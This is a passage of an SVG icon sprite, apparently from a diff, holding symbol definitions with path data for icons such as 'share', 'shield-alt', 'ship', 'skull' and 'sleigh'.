32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm112 248H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 32zm-48-88c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24zm-64 0c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24z"></path> + </symbol> + <symbol id="shapes" viewBox="0 0 512 512"> + <path d="M128,256A128,128,0,1,0,256,384,128,128,0,0,0,128,256Zm379-54.86L400.07,18.29a37.26,37.26,0,0,0-64.14,0L229,201.14C214.76,225.52,232.58,256,261.09,256H474.91C503.42,256,521.24,225.52,507,201.14ZM480,288H320a32,32,0,0,0-32,32V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V320A32,32,0,0,0,480,288Z"></path> + </symbol> + <symbol id="share" viewBox="0 0 512 512"> + <path d="M503.691 189.836L327.687 37.851C312.281 24.546 288 35.347 288 56.015v80.053C127.371 137.907 0 170.1 0 322.326c0 61.441 39.581 122.309 83.333 154.132 13.653 9.931 33.111-2.533 28.077-18.631C66.066 312.814 132.917 274.316 288 272.085V360c0 20.7 24.3 31.453 39.687 18.164l176.004-152c11.071-9.562 11.086-26.753 0-36.328z"></path> + </symbol> + <symbol id="share-alt" viewBox="0 0 448 512"> + <path d="M352 320c-22.608 0-43.387 7.819-59.79 20.895l-102.486-64.054a96.551 96.551 0 0 0 0-41.683l102.486-64.054C308.613 184.181 329.392 192 352 192c53.019 0 96-42.981 96-96S405.019 0 352 0s-96 42.981-96 96c0 7.158.79 14.13 2.276 20.841L155.79 180.895C139.387 167.819 118.608 160 96 160c-53.019 0-96 42.981-96 96s42.981 96 96 96c22.608 0 43.387-7.819 59.79-20.895l102.486 64.054A96.301 96.301 0 0 0 256 416c0 53.019 42.981 96 96 96s96-42.981 96-96-42.981-96-96-96z"></path> + </symbol> + <symbol id="share-alt-square" viewBox="0 0 448 512"> + <path d="M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zM304 296c-14.562 0-27.823 5.561-37.783 14.671l-67.958-40.775a56.339 56.339 0 0 0 0-27.793l67.958-40.775C276.177 210.439 289.438 216 304 216c30.928 0 56-25.072 56-56s-25.072-56-56-56-56 25.072-56 56c0 4.797.605 9.453 1.74 13.897l-67.958 40.775C171.823 205.561 158.562 200 144 200c-30.928 0-56 25.072-56 56s25.072 56 56 56c14.562 0 27.823-5.561 37.783-14.671l67.958 40.775a56.088 56.088 0 0 0-1.74 13.897c0 30.928 25.072 56 56 56s56-25.072 56-56C360 321.072 334.928 296 304 296z"></path> + </symbol> + <symbol id="share-square" viewBox="0 0 576 512"> + <path d="M568.482 177.448L424.479 313.433C409.3 327.768 384 317.14 384 295.985v-71.963c-144.575.97-205.566 35.113-164.775 171.353 4.483 14.973-12.846 26.567-25.006 17.33C155.252 383.105 120 326.488 120 269.339c0-143.937 117.599-172.5 264-173.312V24.012c0-21.174 25.317-31.768 40.479-17.448l144.003 135.988c10.02 9.463 10.028 25.425 0 34.896zM384 379.128V448H64V128h50.916a11.99 11.99 0 0 0 8.648-3.693c14.953-15.568 32.237-27.89 51.014-37.676C185.708 80.83 181.584 64 169.033 64H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48v-88.806c0-8.288-8.197-14.066-16.011-11.302a71.83 71.83 0 0 1-34.189 3.377c-7.27-1.046-13.8 4.514-13.8 11.859z"></path> + </symbol> + <symbol id="shekel-sign" viewBox="0 0 448 512"> + <path d="M248 168v168c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V168c0-75.11-60.89-136-136-136H24C10.75 32 0 42.74 0 56v408c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112h112c30.93 0 56 25.07 56 56zM432 32h-48c-8.84 0-16 7.16-16 16v296c0 30.93-25.07 56-56 56H200V176c0-8.84-7.16-16-16-16h-48c-8.84 0-16 7.16-16 16v280c0 13.25 10.75 24 24 24h168c75.11 0 136-60.89 136-136V48c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="shield-alt" viewBox="0 0 512 512"> + <path d="M466.5 83.7l-192-80a48.15 48.15 0 0 0-36.9 0l-192 80C27.7 91.1 16 108.6 16 128c0 198.5 114.5 335.7 221.5 380.3 11.8 4.9 25.1 4.9 36.9 0C360.1 472.6 496 349.3 496 128c0-19.4-11.7-36.9-29.5-44.3zM256.1 446.3l-.1-381 175.9 73.3c-3.3 151.4-82.1 261.1-175.8 307.7z"></path> + </symbol> + <symbol id="shield-virus" viewBox="0 0 512 512"> + <path d="M224,192a16,16,0,1,0,16,16A16,16,0,0,0,224,192ZM466.5,83.68l-192-80A57.4,57.4,0,0,0,256.05,0a57.4,57.4,0,0,0-18.46,3.67l-192,80A47.93,47.93,0,0,0,16,128C16,326.5,130.5,463.72,237.5,508.32a48.09,48.09,0,0,0,36.91,0C360.09,472.61,496,349.3,496,128A48,48,0,0,0,466.5,83.68ZM384,256H371.88c-28.51,0-42.79,34.47-22.63,54.63l8.58,8.57a16,16,0,1,1-22.63,22.63l-8.57-8.58C306.47,313.09,272,327.37,272,355.88V368a16,16,0,0,1-32,0V355.88c0-28.51-34.47-42.79-54.63-22.63l-8.57,8.58a16,16,0,0,1-22.63-22.63l8.58-8.57c20.16-20.16,5.88-54.63-22.63-54.63H128a16,16,0,0,1,0-32h12.12c28.51,0,42.79-34.47,22.63-54.63l-8.58-8.57a16,16,0,0,1,22.63-22.63l8.57,8.58c20.16,20.16,54.63,5.88,54.63-22.63V112a16,16,0,0,1,32,0v12.12c0,28.51,34.47,42.79,54.63,22.63l8.57-8.58a16,16,0,0,1,22.63,22.63l-8.58,8.57C329.09,189.53,343.37,224,371.88,224H384a16,16,0,0,1,0,32Zm-96,0a16,16,0,1,0,16,16A16,16,0,0,0,288,256Z"></path> + </symbol> + <symbol id="ship" viewBox="0 0 640 512"> + <path d="M496.616 372.639l70.012-70.012c16.899-16.9 9.942-45.771-12.836-53.092L512 236.102V96c0-17.673-14.327-32-32-32h-64V24c0-13.255-10.745-24-24-24H248c-13.255 0-24 10.745-24 24v40h-64c-17.673 0-32 14.327-32 32v140.102l-41.792 13.433c-22.753 7.313-29.754 36.173-12.836 53.092l70.012 70.012C125.828 416.287 85.587 448 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24 61.023 0 107.499-20.61 143.258-59.396C181.677 487.432 216.021 512 256 512h128c39.979 0 74.323-24.568 88.742-59.396C508.495 491.384 554.968 512 616 512c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24-60.817 0-101.542-31.001-119.384-75.361zM192 128h256v87.531l-118.208-37.995a31.995 31.995 0 0 0-19.584 0L192 215.531V128z"></path> + </symbol> + <symbol id="shipping-fast" viewBox="0 0 640 512"> + <path d="M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H112C85.5 0 64 21.5 64 48v48H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h272c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H40c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H8c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8h208c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H64v128c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"></path> + </symbol> + <symbol id="shoe-prints" viewBox="0 0 640 512"> + <path d="M192 160h32V32h-32c-35.35 0-64 28.65-64 64s28.65 64 64 64zM0 416c0 35.35 28.65 64 64 64h32V352H64c-35.35 0-64 28.65-64 64zm337.46-128c-34.91 0-76.16 13.12-104.73 32-24.79 16.38-44.52 32-104.73 32v128l57.53 15.97c26.21 7.28 53.01 13.12 80.31 15.05 32.69 2.31 65.6.67 97.58-6.2C472.9 481.3 512 429.22 512 384c0-64-84.18-96-174.54-96zM491.42 7.19C459.44.32 426.53-1.33 393.84.99c-27.3 1.93-54.1 7.77-80.31 15.04L256 32v128c60.2 0 79.94 15.62 104.73 32 28.57 18.88 69.82 32 104.73 32C555.82 224 640 192 640 128c0-45.22-39.1-97.3-148.58-120.81z"></path> + </symbol> + <symbol id="shopping-bag" viewBox="0 0 448 512"> + <path d="M352 160v-32C352 57.42 294.579 0 224 0 153.42 0 96 57.42 96 128v32H0v272c0 44.183 35.817 80 80 80h288c44.183 0 80-35.817 80-80V160h-96zm-192-32c0-35.29 28.71-64 64-64s64 28.71 64 64v32H160v-32zm160 120c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zm-192 0c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24z"></path> + </symbol> + <symbol id="shopping-basket" viewBox="0 0 576 512"> + <path d="M576 216v16c0 13.255-10.745 24-24 24h-8l-26.113 182.788C514.509 462.435 494.257 480 470.37 480H105.63c-23.887 0-44.139-17.565-47.518-41.212L32 256h-8c-13.255 0-24-10.745-24-24v-16c0-13.255 10.745-24 24-24h67.341l106.78-146.821c10.395-14.292 30.407-17.453 44.701-7.058 14.293 10.395 17.453 30.408 7.058 44.701L170.477 192h235.046L326.12 82.821c-10.395-14.292-7.234-34.306 7.059-44.701 14.291-10.395 34.306-7.235 44.701 7.058L484.659 192H552c13.255 0 24 10.745 24 24zM312 392V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm112 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24zm-224 0V280c0-13.255-10.745-24-24-24s-24 10.745-24 24v112c0 13.255 10.745 24 24 24s24-10.745 24-24z"></path> + </symbol> + <symbol id="shopping-cart" viewBox="0 0 576 512"> + <path d="M528.12 301.319l47.273-208C578.806 78.301 567.391 64 551.99 64H159.208l-9.166-44.81C147.758 8.021 137.93 0 126.529 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24h69.883l70.248 343.435C147.325 417.1 136 435.222 136 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-15.674-6.447-29.835-16.824-40h209.647C430.447 426.165 424 440.326 424 456c0 30.928 25.072 56 56 56s56-25.072 56-56c0-22.172-12.888-41.332-31.579-50.405l5.517-24.276c3.413-15.018-8.002-29.319-23.403-29.319H218.117l-6.545-32h293.145c11.206 0 20.92-7.754 23.403-18.681z"></path> + </symbol> + <symbol id="shower" viewBox="0 0 512 512"> + <path d="M304,320a16,16,0,1,0,16,16A16,16,0,0,0,304,320Zm32-96a16,16,0,1,0,16,16A16,16,0,0,0,336,224Zm32,64a16,16,0,1,0-16-16A16,16,0,0,0,368,288Zm-32,32a16,16,0,1,0-16-16A16,16,0,0,0,336,320Zm-32-64a16,16,0,1,0,16,16A16,16,0,0,0,304,256Zm128-32a16,16,0,1,0-16-16A16,16,0,0,0,432,224Zm-48,16a16,16,0,1,0,16-16A16,16,0,0,0,384,240Zm-16-48a16,16,0,1,0,16,16A16,16,0,0,0,368,192Zm96,32a16,16,0,1,0,16,16A16,16,0,0,0,464,224Zm32-32a16,16,0,1,0,16,16A16,16,0,0,0,496,192Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,432,256Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,400,288Zm-64,64a16,16,0,1,0,16,16A16,16,0,0,0,336,352Zm-32,32a16,16,0,1,0,16,16A16,16,0,0,0,304,384Zm64-64a16,16,0,1,0,16,16A16,16,0,0,0,368,320Zm21.65-218.35-11.3-11.31a16,16,0,0,0-22.63,0L350.05,96A111.19,111.19,0,0,0,272,64c-19.24,0-37.08,5.3-52.9,13.85l-10-10A121.72,121.72,0,0,0,123.44,32C55.49,31.5,0,92.91,0,160.85V464a16,16,0,0,0,16,16H48a16,16,0,0,0,16-16V158.4c0-30.15,21-58.2,51-61.93a58.38,58.38,0,0,1,48.93,16.67l10,10C165.3,138.92,160,156.76,160,176a111.23,111.23,0,0,0,32,78.05l-5.66,5.67a16,16,0,0,0,0,22.62l11.3,11.31a16,16,0,0,0,22.63,0L389.65,124.28A16,16,0,0,0,389.65,101.65Z"></path> + </symbol> + <symbol id="shuttle-van" viewBox="0 0 640 512"> + <path d="M628.88 210.65L494.39 49.27A48.01 48.01 0 0 0 457.52 32H32C14.33 32 0 46.33 0 64v288c0 17.67 14.33 32 32 32h32c0 53.02 42.98 96 96 96s96-42.98 96-96h128c0 53.02 42.98 96 96 96s96-42.98 96-96h32c17.67 0 32-14.33 32-32V241.38c0-11.23-3.94-22.1-11.12-30.73zM64 192V96h96v96H64zm96 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm160-240h-96V96h96v96zm160 240c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm-96-240V96h66.02l80 96H384z"></path> + </symbol> + <symbol id="sign" viewBox="0 0 512 512"> + <path d="M496 64H128V16c0-8.8-7.2-16-16-16H80c-8.8 0-16 7.2-16 16v48H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h48v368c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V128h368c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16zM160 384h320V160H160v224z"></path> + </symbol> + <symbol id="sign-in-alt" viewBox="0 0 512 512"> + <path d="M416 448h-84c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h84c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32h-84c-6.6 0-12-5.4-12-12V76c0-6.6 5.4-12 12-12h84c53 0 96 43 96 96v192c0 53-43 96-96 96zm-47-201L201 79c-15-15-41-4.5-41 17v96H24c-13.3 0-24 10.7-24 24v96c0 13.3 10.7 24 24 24h136v96c0 21.5 26 32 41 17l168-168c9.3-9.4 9.3-24.6 0-34z"></path> + </symbol> + <symbol id="sign-language" viewBox="0 0 448 512"> + <path d="M91.434 483.987c-.307-16.018 13.109-29.129 29.13-29.129h62.293v-5.714H56.993c-16.021 0-29.437-13.111-29.13-29.129C28.16 404.491 40.835 392 56.428 392h126.429v-5.714H29.136c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h154.286v-5.714H57.707c-16.021 0-29.437-13.111-29.13-29.129.297-15.522 12.973-28.013 28.566-28.013h168.566l-31.085-22.606c-12.762-9.281-15.583-27.149-6.302-39.912 9.281-12.761 27.15-15.582 39.912-6.302l123.361 89.715a34.287 34.287 0 0 1 14.12 27.728v141.136c0 15.91-10.946 29.73-26.433 33.374l-80.471 18.934a137.16 137.16 0 0 1-31.411 3.646H120c-15.593-.001-28.269-12.492-28.566-28.014zm73.249-225.701h36.423l-11.187-8.136c-18.579-13.511-20.313-40.887-3.17-56.536l-13.004-16.7c-9.843-12.641-28.43-15.171-40.88-5.088-12.065 9.771-14.133 27.447-4.553 39.75l36.371 46.71zm283.298-2.103l-5.003-152.452c-.518-15.771-13.722-28.136-29.493-27.619-15.773.518-28.137 13.722-27.619 29.493l1.262 38.415L283.565 11.019c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l76.889 98.745-4.509 3.511-94.79-121.734c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l94.443 121.288-4.509 3.511-77.675-99.754c-9.58-12.303-27.223-14.63-39.653-5.328-12.827 9.599-14.929 28.24-5.086 40.881l52.053 66.849c12.497-8.257 29.055-8.285 41.69.904l123.36 89.714c10.904 7.93 17.415 20.715 17.415 34.198v16.999l61.064-47.549a34.285 34.285 0 0 0 13.202-28.177z"></path> + </symbol> + <symbol id="sign-out-alt" viewBox="0 0 512 512"> + <path d="M497 273L329 441c-15 15-41 4.5-41-17v-96H152c-13.3 0-24-10.7-24-24v-96c0-13.3 10.7-24 24-24h136V88c0-21.4 25.9-32 41-17l168 168c9.3 9.4 9.3 24.6 0 34zM192 436v-40c0-6.6-5.4-12-12-12H96c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h84c6.6 0 12-5.4 12-12V76c0-6.6-5.4-12-12-12H96c-53 0-96 43-96 96v192c0 53 43 96 96 96h84c6.6 0 12-5.4 12-12z"></path> + </symbol> + <symbol id="signal" viewBox="0 0 640 512"> + <path d="M216 288h-48c-8.84 0-16 7.16-16 16v192c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V304c0-8.84-7.16-16-16-16zM88 384H40c-8.84 0-16 7.16-16 16v96c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16v-96c0-8.84-7.16-16-16-16zm256-192h-48c-8.84 0-16 7.16-16 16v288c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V208c0-8.84-7.16-16-16-16zm128-96h-48c-8.84 0-16 7.16-16 16v384c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V112c0-8.84-7.16-16-16-16zM600 0h-48c-8.84 0-16 7.16-16 16v480c0 8.84 7.16 16 16 16h48c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16z"></path> + </symbol> + <symbol id="signature" viewBox="0 0 640 512"> + <path d="M623.2 192c-51.8 3.5-125.7 54.7-163.1 71.5-29.1 13.1-54.2 24.4-76.1 24.4-22.6 0-26-16.2-21.3-51.9 1.1-8 11.7-79.2-42.7-76.1-25.1 1.5-64.3 24.8-169.5 126L192 182.2c30.4-75.9-53.2-151.5-129.7-102.8L7.4 116.3C0 121-2.2 130.9 2.5 138.4l17.2 27c4.7 7.5 14.6 9.7 22.1 4.9l58-38.9c18.4-11.7 40.7 7.2 32.7 27.1L34.3 404.1C27.5 421 37 448 64 448c8.3 0 16.5-3.2 22.6-9.4 42.2-42.2 154.7-150.7 211.2-195.8-2.2 28.5-2.1 58.9 20.6 83.8 15.3 16.8 37.3 25.3 65.5 25.3 35.6 0 68-14.6 102.3-30 33-14.8 99-62.6 138.4-65.8 8.5-.7 15.2-7.3 15.2-15.8v-32.1c.2-9.1-7.5-16.8-16.6-16.2z"></path> + </symbol> + <symbol id="sim-card" viewBox="0 0 384 512"> + <path d="M0 64v384c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V128L256 0H64C28.7 0 0 28.7 0 64zm224 192h-64v-64h64v64zm96 0h-64v-64h32c17.7 0 32 14.3 32 32v32zm-64 128h64v32c0 17.7-14.3 32-32 32h-32v-64zm-96 0h64v64h-64v-64zm-96 0h64v64H96c-17.7 0-32-14.3-32-32v-32zm0-96h256v64H64v-64zm0-64c0-17.7 14.3-32 32-32h32v64H64v-32z"></path> + </symbol> + <symbol id="sink" viewBox="0 0 512 512"> + <path d="M32,416a96,96,0,0,0,96,96H384a96,96,0,0,0,96-96V384H32ZM496,288H400V256h64a16,16,0,0,0,16-16V224a16,16,0,0,0-16-16H384a32,32,0,0,0-32,32v48H288V96a32,32,0,0,1,64,0v16a16,16,0,0,0,16,16h32a16,16,0,0,0,16-16V96A96.16,96.16,0,0,0,300.87,1.86C255.29,10.71,224,53.36,224,99.79V288H160V240a32,32,0,0,0-32-32H48a16,16,0,0,0-16,16v16a16,16,0,0,0,16,16h64v32H16A16,16,0,0,0,0,304v32a16,16,0,0,0,16,16H496a16,16,0,0,0,16-16V304A16,16,0,0,0,496,288Z"></path> + </symbol> + <symbol id="sitemap" viewBox="0 0 640 512"> + <path d="M128 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm-24-80h192v48h48v-48h192v48h48v-57.59c0-21.17-17.23-38.41-38.41-38.41H344v-64h40c17.67 0 32-14.33 32-32V32c0-17.67-14.33-32-32-32H256c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h40v64H94.41C73.23 224 56 241.23 56 262.41V320h48v-48zm264 80h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zm240 0h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="skating" viewBox="0 0 448 512"> + <path d="M400 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm0 448c-8.8 0-16 7.2-16 16s-7.2 16-16 16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c26.5 0 48-21.5 48-48 0-8.8-7.2-16-16-16zm-282.2 8.6c-6.2 6.2-16.4 6.3-22.6 0l-67.9-67.9c-6.2-6.2-16.4-6.2-22.6 0s-6.2 16.4 0 22.6l67.9 67.9c9.4 9.4 21.7 14 34 14s24.6-4.7 33.9-14c6.2-6.2 6.2-16.4 0-22.6s-16.4-6.3-22.7 0zm56.1-179.8l-93.7 93.7c-12.5 12.5-12.5 32.8 0 45.2 6.2 6.2 14.4 9.4 22.6 9.4s16.4-3.1 22.6-9.4l91.9-91.9-30.2-30.2c-5-5-9.4-10.7-13.2-16.8zM128 160h105.5l-20.1 17.2c-13.5 11.5-21.6 28.4-22.3 46.1-.7 17.8 6.1 35.2 18.7 47.7l78.2 78.2V432c0 17.7 14.3 32 32 32s32-14.3 32-32v-89.4c0-12.6-5.1-25-14.1-33.9l-61-61c.5-.4 1.2-.6 1.7-1.1l82.3-82.3c11.5-11.5 14.9-28.6 8.7-43.6-6.2-15-20.7-24.7-37-24.7H128c-17.7 0-32 14.3-32 32s14.3 32 32 32z"></path> + </symbol> + <symbol id="skiing" viewBox="0 0 512 512"> + <path d="M432 96c26.5 0 48-21.5 48-48S458.5 0 432 0s-48 21.5-48 48 21.5 48 48 48zm73 356.1c-9.4-9.4-24.6-9.4-33.9 0-12.1 12.1-30.5 15.4-45.1 8.7l-135.8-70.2 49.2-73.8c12.7-19 10.2-44.5-6-60.6L293 215.7l-107-53.1c-2.9 19.9 3.4 40 17.7 54.4l75.1 75.2-45.9 68.8L35 258.7c-11.7-6-26.2-1.5-32.3 10.3-6.1 11.8-1.5 26.3 10.3 32.3l391.9 202.5c11.9 5.5 24.5 8.1 37.1 8.1 23.2 0 46-9 63-26 9.3-9.3 9.3-24.5 0-33.8zM120 91.6l-11.5 22.5c14.4 7.3 31.2 4.9 42.8-4.8l47.2 23.4c-.1.1-.1.2-.2.3l114.5 56.8 32.4-13 6.4 19.1c4 12.1 12.6 22 24 27.7l58.1 29c15.9 7.9 35 1.5 42.9-14.3 7.9-15.8 1.5-35-14.3-42.9l-52.1-26.1-17.1-51.2c-8.1-24.2-40.9-56.6-84.5-39.2l-81.2 32.5-62.5-31c.3-14.5-7.2-28.6-20.9-35.6l-11.1 21.7h-.2l-34.4-7c-1.8-.4-3.7.2-5 1.7-1.9 2.2-1.7 5.5.5 7.4l26.2 23z"></path> + </symbol> + <symbol id="skiing-nordic" viewBox="0 0 576 512"> + <path d="M336 96c26.5 0 48-21.5 48-48S362.5 0 336 0s-48 21.5-48 48 21.5 48 48 48zm216 320c-13.2 0-24 10.7-24 24 0 13.2-10.8 24-24 24h-69.5L460 285.6c11.7-4.7 20.1-16.2 20.1-29.6 0-17.7-14.3-32-32-32h-44L378 170.8c-12.5-25.5-35.5-44.2-61.8-50.9L245 98.7c-28.3-6.8-57.8-.5-80.8 17.1l-39.7 30.4c-14 10.7-16.7 30.8-5.9 44.9.7.9 1.7 1.3 2.4 2.1L66.9 464H24c-13.2 0-24 10.7-24 24s10.8 24 24 24h480c39.7 0 72-32.3 72-72 0-13.2-10.8-24-24-24zm-260.5 48h-96.9l43.1-91-22-13c-12.1-7.2-21.9-16.9-29.5-27.8L123.7 464H99.5l52.3-261.4c4.1-1 8.1-2.9 11.7-5.6l39.7-30.4c7.7-5.9 17.4-8 25.3-6.1l14.7 4.4-37.5 87.4c-12.6 29.5-1.3 64 26.3 80.3l85 50.2-25.5 81.2zm110.6 0h-43.6l23.6-75.5c5.9-20.8-2.9-43.1-21.6-54.4L299.3 298l31.3-78.3 20.3 41.4c8 16.3 24.9 26.9 43.1 26.9h33.3l-25.2 176z"></path> + </symbol> + <symbol id="skull" viewBox="0 0 512 512"> + <path d="M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"></path> + </symbol> + <symbol id="skull-crossbones" viewBox="0 0 448 512"> + <path d="M439.15 453.06L297.17 384l141.99-69.06c7.9-3.95 11.11-13.56 7.15-21.46L432 264.85c-3.95-7.9-13.56-11.11-21.47-7.16L224 348.41 37.47 257.69c-7.9-3.95-17.51-.75-21.47 7.16L1.69 293.48c-3.95 7.9-.75 17.51 7.15 21.46L150.83 384 8.85 453.06c-7.9 3.95-11.11 13.56-7.15 21.47l14.31 28.63c3.95 7.9 13.56 11.11 21.47 7.15L224 419.59l186.53 90.72c7.9 3.95 17.51.75 21.47-7.15l14.31-28.63c3.95-7.91.74-17.52-7.16-21.47zM150 237.28l-5.48 25.87c-2.67 12.62 5.42 24.85 16.45 24.85h126.08c11.03 0 19.12-12.23 16.45-24.85l-5.5-25.87c41.78-22.41 70-62.75 70-109.28C368 57.31 303.53 0 224 0S80 57.31 80 128c0 46.53 28.22 86.87 70 109.28zM280 112c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32zm-112 0c17.65 0 32 14.35 32 32s-14.35 32-32 32-32-14.35-32-32 14.35-32 32-32z"></path> + </symbol> + <symbol id="slash" viewBox="0 0 640 512"> + <path d="M594.53 508.63L6.18 53.9c-6.97-5.42-8.23-15.47-2.81-22.45L23.01 6.18C28.43-.8 38.49-2.06 45.47 3.37L633.82 458.1c6.97 5.42 8.23 15.47 2.81 22.45l-19.64 25.27c-5.42 6.98-15.48 8.23-22.46 2.81z"></path> + </symbol> + <symbol id="sleigh" viewBox="0 0 640 512"> + <path d="M612.7 350.7l-9.3-7.4c-6.9-5.5-17-4.4-22.5 2.5l-10 12.5c-5.5 6.9-4.4 17 2.5 22.5l9.3 7.4c5.9 4.7 9.2 11.7 9.2 19.2 0 13.6-11 24.6-24.6 24.6H48c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h516c39 0 73.7-29.3 75.9-68.3 1.4-23.8-8.7-46.3-27.2-61zM32 224c0 59.6 40.9 109.2 96 123.5V400h64v-48h192v48h64v-48c53 0 96-43 96-96v-96c17.7 0 32-14.3 32-32s-14.3-32-32-32h-96v64c0 35.3-28.7 64-64 64h-20.7c-65.8 0-125.9-37.2-155.3-96-29.4-58.8-89.6-96-155.3-96H32C14.3 32 0 46.3 0 64s14.3 32 32 32v128z"></path> + </symbol> + <symbol id="sliders-h" viewBox="0 0 512 512"> + <path d="M496 384H160v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h80v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h336c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160h-80v-16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h336v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h80c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm0-160H288V48c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v16H16C7.2 64 0 71.2 0 80v32c0 8.8 7.2 16 16 16h208v16c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16v-16h208c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="smile" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 